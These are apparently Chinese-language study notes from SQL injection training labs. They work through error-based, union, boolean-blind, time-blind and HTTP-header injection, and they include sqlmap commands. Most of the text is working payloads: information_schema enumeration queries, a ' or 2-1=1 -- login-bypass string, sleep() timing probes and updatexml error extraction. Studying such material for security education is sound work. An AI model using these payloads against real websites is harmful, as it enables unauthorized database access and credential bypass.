显注
SQL注入原理
一、什么是SQL注入
用户输入的内容被浏览器当做数据库语句进行执行。
关键点:输入的内容一定要是数据库语句。
总结:我们在一个网站上输入的【数据库语句】,如果这个网站执行了,就说明这个网站存在数据库注入漏洞。
在网站上输入的地方:
- 网站上提供的框框(搜索框)。
- 在地址栏传入参数 domain/search?keyword=123
数据库语法
select 列名 from 表名 where 条件 select 查询 from 来自 where 条件
Eg:select 侯某是否在家 from 尧哥的家 where 尧哥不在家 翻译:当尧哥不在家的时候,在尧哥的家中,查询侯某是否在家
*:查询所有(正则式)
注入流程
判断目标网站是否存在SQL漏洞
- 输入 and 1=1 —> 有查询结果
输入 and 1=2 —> 没有查询结果
- ==>根据这个现象推断出网站存在SQL漏洞
- 不输入的时候:select * from user where id=1 输入and 1=1:select * from user where id=1 and 1=1 输入and 1=2:select * from user where id=1 and 1=2
我们输入的都是数据库语句的一部分
逆反思维:假设网站存在SQL漏洞,意味着我们输入的数据库语句他都会执行。
判断字段(列)数
用到order by ,作用:排序
- order by 1 —> 有查询结果 —> 说明表里面有1列。 order by 2 —> 有查询结果 —> 说明表里面有2列。 order by 3 —> 有查询结果 —> 说明表里面有3列。 order by 4 —> 没有查询结果 —> 说明表里面只有3列。
查找回显点
回显点:能够让我们输入的数据库执行,并且将结果显示在页面上。
用到 union , 作用:联合查询,能够同时执行两条查询语句。 关键点:保证前后两条查询语句列数保持一致。
select * from user union select id from user: 报错,列数一定要保持一致 改成 > select username from user union select id from user:
select * from user where id=1 and 1=2 union select 1,2,3
查询相关数据
version() # 函数,作用:查询版本号 database() # 函数,作用:查库名 将函数放入回显点,就能查出版本号,库名 select 列名 from 表名
limit m,n 从m+1行开始,查询n条数据,类似于过滤输出的意思
查表名
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1
table_name列名,网站管理员创建的表名。table_schema列名,网站管理员创建的库名。information_schema库名,是MySQL自带的。tables表名,这个表在information_schema库里面。information_schema.tables库.表
查列名
and 1=2 union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name=‘error_flag’ limit 1,1
column_name列名,网站管理员创建的列名。columns表名,在information_schema库里面。
查数据
and 1=2 union select 1,2,flag from error_flag limit 1,1
select 1,2,3 类似于站位
扩展
闭合引号
pass-01:select * from user where id=1 pass-02:select * from user where id=‘1’
- 输入and 1=1:select * from user where id=‘1 and 1=1’ 输入and 1=2:select * from user where id=‘1 and 1=2’
- 输入’ and 1=1:select * from user where id=‘1’ and 1=1’
注释:—+ , # , —d
- 输入’ and 1=1 —+ :select *from user where id=‘1’ and 1=1 —’ 输入’ and 1=2 —+ :select *from user where id=‘1’ and 1=2 —’ 输入’ order by 1 —+ 判断列数 输入’ and 1=2 union select 1,2,3 —+ :回显点
用#号注释的时候需要URL编码
pass-03:select * from user where id=(‘1’)
- 输入and 1=1:select * from user where id=(‘1 and 1=1’) 输入’) and 1=1 —+ :select *from user where id=(‘1’) and 1=1 —’) 输入’) and 1=2 —+ :select *from user where id=(‘1’) and 1=2 —’)
and 和 or 的灵活运用
- and 1=1 and 2=2(条件都成立才算成立)
- or 1=1 or 2=1(一个条件成立,整个条件成立)—> 万能密码漏洞
万能密码:select * from user where username=” and password=” 正常输入:select * from user where username=‘admin’ and password=‘123456’ 万能密码:’ or 2-1=1 — asdf select * from user where username=” or 2-1=1 —asdf’ and password=”
显错注入流程
第一步 判断是否存在SQL漏洞
and 1=1 —> 条件成立,页面有查询结果 and 1=2 —> 条件不成立,页面没有查询结果
第二步 判断字段数 order by
order by 1 —> 有查询结果 —> 说明表里面有1列。 order by 2 —> 有查询结果 —> 说明表里面有2列。 order by 3 —> 有查询结果 —> 说明表里面有3列。 order by 4 —> 没有查询结果 —> 说明表里面只有3列。
第三步 判断回显点————显错注入
union select 1,2,3
第四步 判断数据
database() version()
盲注
盲注如何判断
核心:(猜) 1=1 和 1=2 属于逻辑条件 当条件成立 —> 页面有查询结果 当条件不成立 —> 页面不会有查询结果 逆反:当页面没有查询结果 —> 条件不成立时
猜库名
length() # 作用:判断长度 length(database()) # 判断库名的长度 and length(database())=1 —> 页面没有查询结果,条件不成立 —> 库名长度!=1 and length(database())=12 —> 页面有查询结果,条件成立 —> 库名长度为12 substr(‘abcde’,3,2) # 从第三个位置开始,裁剪两个字符 —> cd and substr(database(),1,1) # 裁剪库名,从第一个位置裁剪一个 —> 裁剪库名的第一个字符出来 and substr(database(),1,1)=‘a’ —> 页面没有查询结果,条件不成立 —> 库名第一个字符不是a 慢慢猜 and substr(database(),1,1)=‘k’ —> 页面有查询结果,条件成立 —> 库名第一个字符是k 然后猜第二个字符 and substr(database(),1,1)=‘a’ —> 页面有查询结果,条件成立 —> 库名第二个字符是a 猜十二个字符
布尔盲注:通过判断以及页面的显示来知道数据。 时间盲注:通过判断以及页面的时间来显示数据。 sleep() # 作用:让网站睡觉 if(1=1,2,3) —>很像三目运算符 if(length(database())=12,sleep(5),3)
猜表名
and length(select table_name from information_schema.tables where table_schema = database() limit 0,1) = 1 页面没有查询结果,条件不成立,表名长度不是1 … and length(select table_name from information_schema.tables where table_schema = database() limit 0,1) = 6 页面有查询结果,条件成立,表明长度是6
表明的字符: and substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)=‘l’ 有数据,表名第一个字符是l
pass-06: select * from news where id=“1” 输入 ” and length(database())=12 —+
pass-07: ’ or 2-1=1 — qwe
SQLMap:专用于SQL注入漏洞
python sqlmap.py -u "URL"
python sqlmap.py -u "URL"
# kali SQLMap工具,自带。
sqlmap -u "URL"
显注和盲注
SQL注入原理:我们在一个网站上输入的数据库语句。如果这个网站执行了,就说明这个网站存在SQL注入漏洞。 输入的地方:(一定要与数据库交互)
- 网站提供的输入框
- 地址栏参数的值
- head部分
注入流程
- 判断网站是否存在SQL漏洞 —> 盲注的核心 用判断条件 + 页面的反应 and 1=1 —> 条件成立,页面有查询结果 and 1=2 —> 条件不成立,页面没有查询结果 —> 该网站存在SQL注入漏洞
- 判断字段数 —> 为了有显示回显点 order by 1 —> 页面有查询结果 —> 说明网站的表里面有1列 order by 2 —> 页面有查询结果 —> 说明网站的表里面有2列 order by 3 —> 页面有查询结果 —> 说明网站的表里面有3列 order by 4 —> 页面没有查询结果 —> 说明网站的表里面有4列 order by 也是可以用来判断是否有SQL漏洞
- 判断回显点 —> 显错注入的核心 ?id=-9999 union select 1,2,3 ?id=1 and 1=2 union select 1,2,3 两个作用是一样的
- 查询相关数据 database() # 库名 version() # 版本
http协议-head
GET注入:在网站的参数值 POST注入:在网站提供的输入框 Cookie注入:因为注入点在Cookie的地方 head注入:注入点在head部分
head注入
通常来说,使用head注入,是需要配合成功登录的。
报错注入:能够让数据伴随着报错信息,一起显示出来。 updataxml() # 这是一个函数,作用:能够将数据库语句执行,并且伴随着数据库报错显示错来。 updatexml(1,concat(0x7e,(select version())),1),1) 使用: 输入 ’ and updatexml(1,concat(0x7e,(select version())),1),1) — qwe
User-Agent注入 Referer注入 X-Forwarded-For注入 # 记录IP的,一般不出现在数据包里 X-Forwarded-For: 127.0.0.1 # 能绕过一些防护,但是概率较低
都是类似的head注入
使用SQLMap工具 python sqlmap.py -r 666.txt —level 3 —risk 2 —batch